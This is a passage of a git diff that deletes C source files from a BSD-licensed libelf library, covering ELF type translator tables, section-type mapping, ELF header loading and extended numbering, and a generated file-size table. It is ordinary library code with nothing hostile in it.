-		.tof64 = _libelf_cvt_HALF_tof,
-		.tom64 = _libelf_cvt_HALF_tom
-	},
-
-	[ELF_T_LWORD] = {
-		.tof32 = _libelf_cvt_LWORD_tof,
-		.tom32 = _libelf_cvt_LWORD_tom,
-		.tof64 = _libelf_cvt_LWORD_tof,
-		.tom64 = _libelf_cvt_LWORD_tom
-	},
-
-	[ELF_T_MOVE] = {
-		.tof32 = _libelf_cvt_MOVE32_tof,
-		.tom32 = _libelf_cvt_MOVE32_tom,
-		.tof64 = _libelf_cvt_MOVE64_tof,
-		.tom64 = _libelf_cvt_MOVE64_tom
-	},
-
-	[ELF_T_OFF] = {
-		.tof32 = _libelf_cvt_OFF32_tof,
-		.tom32 = _libelf_cvt_OFF32_tom,
-		.tof64 = _libelf_cvt_OFF64_tof,
-		.tom64 = _libelf_cvt_OFF64_tom
-	},
-
-	[ELF_T_PHDR] = {
-		.tof32 = _libelf_cvt_PHDR32_tof,
-		.tom32 = _libelf_cvt_PHDR32_tom,
-		.tof64 = _libelf_cvt_PHDR64_tof,
-		.tom64 = _libelf_cvt_PHDR64_tom
-	},
-
-	[ELF_T_REL] = {
-		.tof32 = _libelf_cvt_REL32_tof,
-		.tom32 = _libelf_cvt_REL32_tom,
-		.tof64 = _libelf_cvt_REL64_tof,
-		.tom64 = _libelf_cvt_REL64_tom
-	},
-
-	[ELF_T_RELA] = {
-		.tof32 = _libelf_cvt_RELA32_tof,
-		.tom32 = _libelf_cvt_RELA32_tom,
-		.tof64 = _libelf_cvt_RELA64_tof,
-		.tom64 = _libelf_cvt_RELA64_tom
-	},
-
-	[ELF_T_SHDR] = {
-		.tof32 = _libelf_cvt_SHDR32_tof,
-		.tom32 = _libelf_cvt_SHDR32_tom,
-		.tof64 = _libelf_cvt_SHDR64_tof,
-		.tom64 = _libelf_cvt_SHDR64_tom
-	},
-
-	[ELF_T_SWORD] = {
-		.tof32 = _libelf_cvt_SWORD_tof,
-		.tom32 = _libelf_cvt_SWORD_tom,
-		.tof64 = _libelf_cvt_SWORD_tof,
-		.tom64 = _libelf_cvt_SWORD_tom
-	},
-
-	[ELF_T_SXWORD] = {
-		.tof32 = NULL,
-		.tom32 = NULL,
-		.tof64 = _libelf_cvt_SXWORD_tof,
-		.tom64 = _libelf_cvt_SXWORD_tom
-	},
-
-	[ELF_T_SYMINFO] = {
-		.tof32 = _libelf_cvt_SYMINFO32_tof,
-		.tom32 = _libelf_cvt_SYMINFO32_tom,
-		.tof64 = _libelf_cvt_SYMINFO64_tof,
-		.tom64 = _libelf_cvt_SYMINFO64_tom
-	},
-
-	[ELF_T_SYM] = {
-		.tof32 = _libelf_cvt_SYM32_tof,
-		.tom32 = _libelf_cvt_SYM32_tom,
-		.tof64 = _libelf_cvt_SYM64_tof,
-		.tom64 = _libelf_cvt_SYM64_tom
-	},
-
-	[ELF_T_VDEF] = {
-		.tof32 = _libelf_cvt_VDEF32_tof,
-		.tom32 = _libelf_cvt_VDEF32_tom,
-		.tof64 = _libelf_cvt_VDEF64_tof,
-		.tom64 = _libelf_cvt_VDEF64_tom
-	},
-
-	[ELF_T_VNEED] = {
-		.tof32 = _libelf_cvt_VNEED32_tof,
-		.tom32 = _libelf_cvt_VNEED32_tom,
-		.tof64 = _libelf_cvt_VNEED64_tof,
-		.tom64 = _libelf_cvt_VNEED64_tom
-	},
-
-	[ELF_T_WORD] = {
-		.tof32 = _libelf_cvt_WORD_tof,
-		.tom32 = _libelf_cvt_WORD_tom,
-		.tof64 = _libelf_cvt_WORD_tof,
-		.tom64 = _libelf_cvt_WORD_tom
-	},
-
-	[ELF_T_XWORD] = {
-		.tof32 = NULL,
-		.tom32 = NULL,
-		.tof64 = _libelf_cvt_XWORD_tof,
-		.tom64 = _libelf_cvt_XWORD_tom
-	},
-
-
-	/*]*/
-
-	/*
-	 * Types that need hand-coded converters follow.
-	 */
-
-	[ELF_T_BYTE] = {
-		.tof32 = _libelf_cvt_BYTE_tox,
-		.tom32 = _libelf_cvt_BYTE_tox,
-		.tof64 = _libelf_cvt_BYTE_tox,
-		.tom64 = _libelf_cvt_BYTE_tox
-	},
-
-	[ELF_T_NOTE] = {
-		.tof32 = _libelf_cvt_NOTE_tof,
-		.tom32 = _libelf_cvt_NOTE_tom,
-		.tof64 = _libelf_cvt_NOTE_tof,
-		.tom64 = _libelf_cvt_NOTE_tom
-	}
-};
-
-int (*_libelf_get_translator(Elf_Type t, int direction, int elfclass))
- (char *_dst, size_t dsz, char *_src, size_t _cnt, int _byteswap)
-{
-	assert(elfclass == ELFCLASS32 || elfclass == ELFCLASS64);
-	assert(direction == ELF_TOFILE || direction == ELF_TOMEMORY);
-
-	if (t >= ELF_T_NUM ||
-	    (elfclass != ELFCLASS32 && elfclass != ELFCLASS64) ||
-	    (direction != ELF_TOFILE && direction != ELF_TOMEMORY))
-		return (NULL);
-
-	return ((elfclass == ELFCLASS32) ?
-	    (direction == ELF_TOFILE ? cvt[t].tof32 : cvt[t].tom32) :
-	    (direction == ELF_TOFILE ? cvt[t].tof64 : cvt[t].tom64));
-}
diff --git a/src/libelf/libelf_data.c b/src/libelf/libelf_data.c
deleted file mode 100644
index 809002f..0000000
--- a/src/libelf/libelf_data.c
+++ /dev/null
@@ -1,88 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: libelf_data.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-int
-_libelf_xlate_shtype(uint32_t sht)
-{
-	switch (sht) {
-	case SHT_DYNAMIC:
-		return (ELF_T_DYN);
-	case SHT_DYNSYM:
-		return (ELF_T_SYM);
-	case SHT_FINI_ARRAY:
-		return (ELF_T_ADDR);
-	case SHT_GNU_HASH:
-		return (ELF_T_GNUHASH);
-	case SHT_GNU_LIBLIST:
-		return (ELF_T_WORD);
-	case SHT_GROUP:
-		return (ELF_T_WORD);
-	case SHT_HASH:
-		return (ELF_T_WORD);
-	case SHT_INIT_ARRAY:
-		return (ELF_T_ADDR);
-	case SHT_NOBITS:
-		return (ELF_T_BYTE);
-	case SHT_NOTE:
-		return (ELF_T_NOTE);
-	case SHT_PREINIT_ARRAY:
-		return (ELF_T_ADDR);
-	case SHT_PROGBITS:
-		return (ELF_T_BYTE);
-	case SHT_REL:
-		return (ELF_T_REL);
-	case SHT_RELA:
-		return (ELF_T_RELA);
-	case SHT_STRTAB:
-		return (ELF_T_BYTE);
-	case SHT_SYMTAB:
-		return (ELF_T_SYM);
-	case SHT_SYMTAB_SHNDX:
-		return (ELF_T_WORD);
-	case SHT_SUNW_dof:
-		return (ELF_T_BYTE);
-	case SHT_SUNW_move:
-		return (ELF_T_MOVE);
-	case SHT_SUNW_syminfo:
-		return (ELF_T_SYMINFO);
-	case SHT_SUNW_verdef:	/* == SHT_GNU_verdef */
-		return (ELF_T_VDEF);
-	case SHT_SUNW_verneed:	/* == SHT_GNU_verneed */
-		return (ELF_T_VNEED);
-	case SHT_SUNW_versym:	/* == SHT_GNU_versym */
-		return (ELF_T_HALF);
-	default:
-		return (-1);
-	}
-}
diff --git a/src/libelf/libelf_ehdr.c b/src/libelf/libelf_ehdr.c
deleted file mode 100644
index 363a0a8..0000000
--- a/src/libelf/libelf_ehdr.c
+++ /dev/null
@@ -1,204 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <assert.h>
-#include <gelf.h>
-#include <libelf.h>
-#include <stdlib.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: libelf_ehdr.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-/*
- * Retrieve counts for sections, phdrs and the section string table index
- * from section header #0 of the ELF object.
- */
-static int
-_libelf_load_extended(Elf *e, int ec, uint64_t shoff, uint16_t phnum,
-    uint16_t strndx)
-{
-	Elf_Scn *scn;
-	size_t fsz;
-	int (*xlator)(char *_d, size_t _dsz, char *_s, size_t _c, int _swap);
-	uint32_t shtype;
-
-	assert(STAILQ_EMPTY(&e->e_u.e_elf.e_scn));
-
-	fsz = _libelf_fsize(ELF_T_SHDR, ec, e->e_version, 1);
-	assert(fsz > 0);
-
-	if (e->e_rawsize < shoff + fsz) { /* raw file too small */
-		LIBELF_SET_ERROR(HEADER, 0);
-		return (0);
-	}
-
-	if ((scn = _libelf_allocate_scn(e, (size_t) 0)) == NULL)
-		return (0);
-
-	xlator = _libelf_get_translator(ELF_T_SHDR, ELF_TOMEMORY, ec);
-	(*xlator)((char *) &scn->s_shdr, sizeof(scn->s_shdr),
-	    e->e_rawfile + shoff, (size_t) 1,
-	    e->e_byteorder != LIBELF_PRIVATE(byteorder));
-
-#define	GET_SHDR_MEMBER(M) ((ec == ELFCLASS32) ? scn->s_shdr.s_shdr32.M : \
-		scn->s_shdr.s_shdr64.M)
-
-	if ((shtype = GET_SHDR_MEMBER(sh_type)) != SHT_NULL) {
-		LIBELF_SET_ERROR(SECTION, 0);
-		return (0);
-	}
-
-	e->e_u.e_elf.e_nscn = GET_SHDR_MEMBER(sh_size);
-	e->e_u.e_elf.e_nphdr = (phnum != PN_XNUM) ? phnum :
-	    GET_SHDR_MEMBER(sh_info);
-	e->e_u.e_elf.e_strndx = (strndx != SHN_XINDEX) ? strndx :
-	    GET_SHDR_MEMBER(sh_link);
-#undef	GET_SHDR_MEMBER
-
-	return (1);
-}
-
-#define	EHDR_INIT(E,SZ)	 do {						\
-		Elf##SZ##_Ehdr *eh = (E);				\
-		eh->e_ident[EI_MAG0] = ELFMAG0;				\
-		eh->e_ident[EI_MAG1] = ELFMAG1;				\
-		eh->e_ident[EI_MAG2] = ELFMAG2;				\
-		eh->e_ident[EI_MAG3] = ELFMAG3;				\
-		eh->e_ident[EI_CLASS] = ELFCLASS##SZ;			\
-		eh->e_ident[EI_DATA]  = ELFDATANONE;			\
-		eh->e_ident[EI_VERSION] = LIBELF_PRIVATE(version);	\
-		eh->e_machine = EM_NONE;				\
-		eh->e_type    = ELF_K_NONE;				\
-		eh->e_version = LIBELF_PRIVATE(version);		\
-	} while (0)
-
-void *
-_libelf_ehdr(Elf *e, int ec, int allocate)
-{
-	void *ehdr;
-	size_t fsz, msz;
-	uint16_t phnum, shnum, strndx;
-	uint64_t shoff;
-	int (*xlator)(char *_d, size_t _dsz, char *_s, size_t _c, int _swap);
-
-	assert(ec == ELFCLASS32 || ec == ELFCLASS64);
-
-	if (e == NULL || e->e_kind != ELF_K_ELF) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	if (e->e_class != ELFCLASSNONE && e->e_class != ec) {
-		LIBELF_SET_ERROR(CLASS, 0);
-		return (NULL);
-	}
-
-	if (e->e_version != EV_CURRENT) {
-		LIBELF_SET_ERROR(VERSION, 0);
-		return (NULL);
-	}
-
-	if (e->e_class == ELFCLASSNONE)
-		e->e_class = ec;
-
-	if (ec == ELFCLASS32)
-		ehdr = (void *) e->e_u.e_elf.e_ehdr.e_ehdr32;
-	else
-		ehdr = (void *) e->e_u.e_elf.e_ehdr.e_ehdr64;
-
-	if (ehdr != NULL)	/* already have a translated ehdr */
-		return (ehdr);
-
-	fsz = _libelf_fsize(ELF_T_EHDR, ec, e->e_version, (size_t) 1);
-	assert(fsz > 0);
-
-	if (e->e_cmd != ELF_C_WRITE && e->e_rawsize < fsz) {
-		LIBELF_SET_ERROR(HEADER, 0);
-		return (NULL);
-	}
-
-	msz = _libelf_msize(ELF_T_EHDR, ec, EV_CURRENT);
-
-	assert(msz > 0);
-
-	if ((ehdr = calloc((size_t) 1, msz)) == NULL) {
-		LIBELF_SET_ERROR(RESOURCE, 0);
-		return (NULL);
-	}
-
-	if (ec == ELFCLASS32) {
-		e->e_u.e_elf.e_ehdr.e_ehdr32 = ehdr;
-		EHDR_INIT(ehdr,32);
-	} else {
-		e->e_u.e_elf.e_ehdr.e_ehdr64 = ehdr;
-		EHDR_INIT(ehdr,64);
-	}
-
-	if (allocate)
-		e->e_flags |= ELF_F_DIRTY;
-
-	if (e->e_cmd == ELF_C_WRITE)
-		return (ehdr);
-
-	xlator = _libelf_get_translator(ELF_T_EHDR, ELF_TOMEMORY, ec);
-	(*xlator)(ehdr, msz, e->e_rawfile, (size_t) 1,
-	    e->e_byteorder != LIBELF_PRIVATE(byteorder));
-
-	/*
-	 * If extended numbering is being used, read the correct
-	 * number of sections and program header entries.
-	 */
-	if (ec == ELFCLASS32) {
-		phnum = ((Elf32_Ehdr *) ehdr)->e_phnum;
-		shnum = ((Elf32_Ehdr *) ehdr)->e_shnum;
-		shoff = ((Elf32_Ehdr *) ehdr)->e_shoff;
-		strndx = ((Elf32_Ehdr *) ehdr)->e_shstrndx;
-	} else {
-		phnum = ((Elf64_Ehdr *) ehdr)->e_phnum;
-		shnum = ((Elf64_Ehdr *) ehdr)->e_shnum;
-		shoff = ((Elf64_Ehdr *) ehdr)->e_shoff;
-		strndx = ((Elf64_Ehdr *) ehdr)->e_shstrndx;
-	}
-
-	if (shnum >= SHN_LORESERVE ||
-	    (shoff == 0LL && (shnum != 0 || phnum == PN_XNUM ||
-		strndx == SHN_XINDEX))) {
-		LIBELF_SET_ERROR(HEADER, 0);
-		return (NULL);
-	}
-
-	if (shnum != 0 || shoff == 0LL) { /* not using extended numbering */
-		e->e_u.e_elf.e_nphdr = phnum;
-		e->e_u.e_elf.e_nscn = shnum;
-		e->e_u.e_elf.e_strndx = strndx;
-	} else if (_libelf_load_extended(e, ec, shoff, phnum, strndx) == 0)
-		return (NULL);
-
-	return (ehdr);
-}
diff --git a/src/libelf/libelf_extended.c b/src/libelf/libelf_extended.c
deleted file mode 100644
index 5343696..0000000
--- a/src/libelf/libelf_extended.c
+++ /dev/null
@@ -1,136 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <assert.h>
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: libelf_extended.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-/*
- * Retrieve section #0, allocating a new section if needed.
- */
-static Elf_Scn *
-_libelf_getscn0(Elf *e)
-{
-	Elf_Scn *s;
-
-	if ((s = STAILQ_FIRST(&e->e_u.e_elf.e_scn)) != NULL)
-		return (s);
-
-	return (_libelf_allocate_scn(e, (size_t) SHN_UNDEF));
-}
-
-int
-_libelf_setshnum(Elf *e, void *eh, int ec, size_t shnum)
-{
-	Elf_Scn *scn;
-
-	if (shnum >= SHN_LORESERVE) {
-		if ((scn = _libelf_getscn0(e)) == NULL)
-			return (0);
-
-		assert(scn->s_ndx == SHN_UNDEF);
-
-		if (ec == ELFCLASS32)
-			scn->s_shdr.s_shdr32.sh_size = shnum;
-		else
-			scn->s_shdr.s_shdr64.sh_size = shnum;
-
-		(void) elf_flagshdr(scn, ELF_C_SET, ELF_F_DIRTY);
-
-		shnum = 0;
-	}
-
-	if (ec == ELFCLASS32)
-		((Elf32_Ehdr *) eh)->e_shnum = shnum;
-	else
-		((Elf64_Ehdr *) eh)->e_shnum = shnum;
-
-
-	return (1);
-}
-
-int
-_libelf_setshstrndx(Elf *e, void *eh, int ec, size_t shstrndx)
-{
-	Elf_Scn *scn;
-
-	if (shstrndx >= SHN_LORESERVE) {
-		if ((scn = _libelf_getscn0(e)) == NULL)
-			return (0);
-
-		assert(scn->s_ndx == SHN_UNDEF);
-
-		if (ec == ELFCLASS32)
-			scn->s_shdr.s_shdr32.sh_link = shstrndx;
-		else
-			scn->s_shdr.s_shdr64.sh_link = shstrndx;
-
-		(void) elf_flagshdr(scn, ELF_C_SET, ELF_F_DIRTY);
-
-		shstrndx = SHN_XINDEX;
-	}
-
-	if (ec == ELFCLASS32)
-		((Elf32_Ehdr *) eh)->e_shstrndx = shstrndx;
-	else
-		((Elf64_Ehdr *) eh)->e_shstrndx = shstrndx;
-
-	return (1);
-}
-
-int
-_libelf_setphnum(Elf *e, void *eh, int ec, size_t phnum)
-{
-	Elf_Scn *scn;
-
-	if (phnum >= PN_XNUM) {
-		if ((scn = _libelf_getscn0(e)) == NULL)
-			return (0);
-
-		assert(scn->s_ndx == SHN_UNDEF);
-
-		if (ec == ELFCLASS32)
-			scn->s_shdr.s_shdr32.sh_info = phnum;
-		else
-			scn->s_shdr.s_shdr64.sh_info = phnum;
-
-		(void) elf_flagshdr(scn, ELF_C_SET, ELF_F_DIRTY);
-
-		phnum = PN_XNUM;
-	}
-
-	if (ec == ELFCLASS32)
-		((Elf32_Ehdr *) eh)->e_phnum = phnum;
-	else
-		((Elf64_Ehdr *) eh)->e_phnum = phnum;
-
-	return (1);
-}
diff --git a/src/libelf/libelf_fsize.c b/src/libelf/libelf_fsize.c
deleted file mode 100644
index 11ced8c..0000000
--- a/src/libelf/libelf_fsize.c
+++ /dev/null
@@ -1,197 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS `AS IS' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- *
- * $Id: elf_types.m4 321 2009-03-07 16:59:14Z jkoshy $
- */
-
-/*
- * ELF types, defined in the "enum Elf_Type" API.
- *
- * The members of the list form a 2-tuple: (name, C-type-suffix).
- * + name is an Elf_Type symbol without the ELF_T_ prefix.
- * + C-type-suffix is the suffix for Elf32_ and Elf64_ type names.
- */
-
-
-
-/*
- * DEFINE_STRUCT(NAME,MEMBERLIST...)
- *
- * Map a type name to its members.
- *
- * Each member-list element comprises of pairs of (field name, type),
- * in the sequence used in the file representation of NAME.
- *
- * Each member list element comprises a pair containing a field name
- * and a basic type.  Basic types include IDENT, HALF, WORD, LWORD,
- * ADDR{32,64}, OFF{32,64}, SWORD, XWORD, SXWORD.
- *
- * The last element of a member list is the null element: _,_.
- */
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-/*-
- * Copyright (c) 2006,2008-2011 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS `AS IS' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: libelf_fsize.m4 2225 2011-11-26 18:55:54Z jkoshy $");
-
-/* WARNING: GENERATED FROM libelf_fsize.m4. */
-
-/*
- * Create an array of file sizes from the elf_type definitions
- */
-
-
-
-struct fsize {
-	size_t fsz32;
-	size_t fsz64;
-};
-
-static struct fsize fsize[ELF_T_NUM] = {
-[ELF_T_ADDR] = { .fsz32 = sizeof(Elf32_Addr), .fsz64 = sizeof(Elf64_Addr) },
-
-[ELF_T_BYTE] = { .fsz32 = 1, .fsz64 = 1 },
-
-[ELF_T_CAP] = { .fsz32 = sizeof(Elf32_Word)+sizeof(Elf32_Word)+0, .fsz64 = sizeof(Elf64_Xword)+sizeof(Elf64_Xword)+0 },
-
-[ELF_T_DYN] = { .fsz32 = sizeof(Elf32_Sword)+sizeof(Elf32_Word)+0, .fsz64 = sizeof(Elf64_Sxword)+sizeof(Elf64_Xword)+0 },
-
-[ELF_T_EHDR] = { .fsz32 = EI_NIDENT+sizeof(Elf32_Half)+sizeof(Elf32_Half)+sizeof(Elf32_Word)+sizeof(Elf32_Addr)+sizeof(Elf32_Off)+sizeof(Elf32_Off)+sizeof(Elf32_Word)+sizeof(Elf32_Half)+sizeof(Elf32_Half)+sizeof(Elf32_Half)+sizeof(Elf32_Half)+sizeof(Elf32_Half)+sizeof(Elf32_Half)+0, .fsz64 = EI_NIDENT+sizeof(Elf64_Half)+sizeof(Elf64_Half)+sizeof(Elf64_Word)+sizeof(Elf64_Addr)+sizeof(Elf64_Off)+sizeof(Elf64_Off)+sizeof(Elf64_Word)+sizeof(Elf64_Half)+sizeof(Elf64_Half)+sizeof(Elf64_Half)+sizeof(Elf64_Half)+sizeof(Elf64_Half)+sizeof(Elf64_Half)+0 },
-
-[ELF_T_GNUHASH] = { .fsz32 = 1, .fsz64 = 1 },
-
-[ELF_T_HALF] = { .fsz32 = sizeof(Elf32_Half), .fsz64 = sizeof(Elf64_Half) },
-
-[ELF_T_LWORD] = { .fsz32 = sizeof(Elf32_Lword), .fsz64 = sizeof(Elf64_Lword) },
-
-[ELF_T_MOVE] = { .fsz32 = sizeof(Elf32_Lword)+sizeof(Elf32_Word)+sizeof(Elf32_Word)+sizeof(Elf32_Half)+sizeof(Elf32_Half)+0, .fsz64 = sizeof(Elf64_Lword)+sizeof(Elf64_Xword)+sizeof(Elf64_Xword)+sizeof(Elf64_Half)+sizeof(Elf64_Half)+0 },
-
-[ELF_T_MOVEP] = { .fsz32 = 0, .fsz64 = 0 },
-
-[ELF_T_NOTE] = { .fsz32 = 1, .fsz64 = 1 },
-
-[ELF_T_OFF] = { .fsz32 = sizeof(Elf32_Off), .fsz64 = sizeof(Elf64_Off) },
-
-[ELF_T_PHDR] = { .fsz32 = sizeof(Elf32_Word)+sizeof(Elf32_Off)+sizeof(Elf32_Addr)+sizeof(Elf32_Addr)+sizeof(Elf32_Word)+sizeof(Elf32_Word)+sizeof(Elf32_Word)+sizeof(Elf32_Word)+0, .fsz64 = sizeof(Elf64_Word)+sizeof(Elf64_Word)+sizeof(Elf64_Off)+sizeof(Elf64_Addr)+sizeof(Elf64_Addr)+sizeof(Elf64_Xword)+sizeof(Elf64_Xword)+sizeof(Elf64_Xword)+0 },
-
-[ELF_T_REL] = { .fsz32 = sizeof(Elf32_Addr)+sizeof(Elf32_Word)+0, .fsz64 = sizeof(Elf64_Addr)+sizeof(Elf64_Xword)+0 },
-
-[ELF_T_RELA] = { .fsz32 = sizeof(Elf32_Addr)+sizeof(Elf32_Word)+sizeof(Elf32_Sword)+0, .fsz64 = sizeof(Elf64_Addr)+sizeof(Elf64_Xword)+sizeof(Elf64_Sxword)+0 },
-
-[ELF_T_SHDR] = { .fsz32 = sizeof(Elf32_Word)+sizeof(Elf32_Word)+sizeof(Elf32_Word)+sizeof(Elf32_Addr)+sizeof(Elf32_Off)+sizeof(Elf32_Word)+sizeof(Elf32_Word)+sizeof(Elf32_Word)+sizeof(Elf32_Word)+sizeof(Elf32_Word)+0, .fsz64 = sizeof(Elf64_Word)+sizeof(Elf64_Word)+sizeof(Elf64_Xword)+sizeof(Elf64_Addr)+sizeof(Elf64_Off)+sizeof(Elf64_Xword)+sizeof(Elf64_Word)+sizeof(Elf64_Word)+sizeof(Elf64_Xword)+sizeof(Elf64_Xword)+0 },
-
-[ELF_T_SWORD] = { .fsz32 = sizeof(Elf32_Sword), .fsz64 = sizeof(Elf64_Sword) },
-
-[ELF_T_SXWORD] = { .fsz32 = 0, .fsz64 = sizeof(Elf64_Sxword) },
-
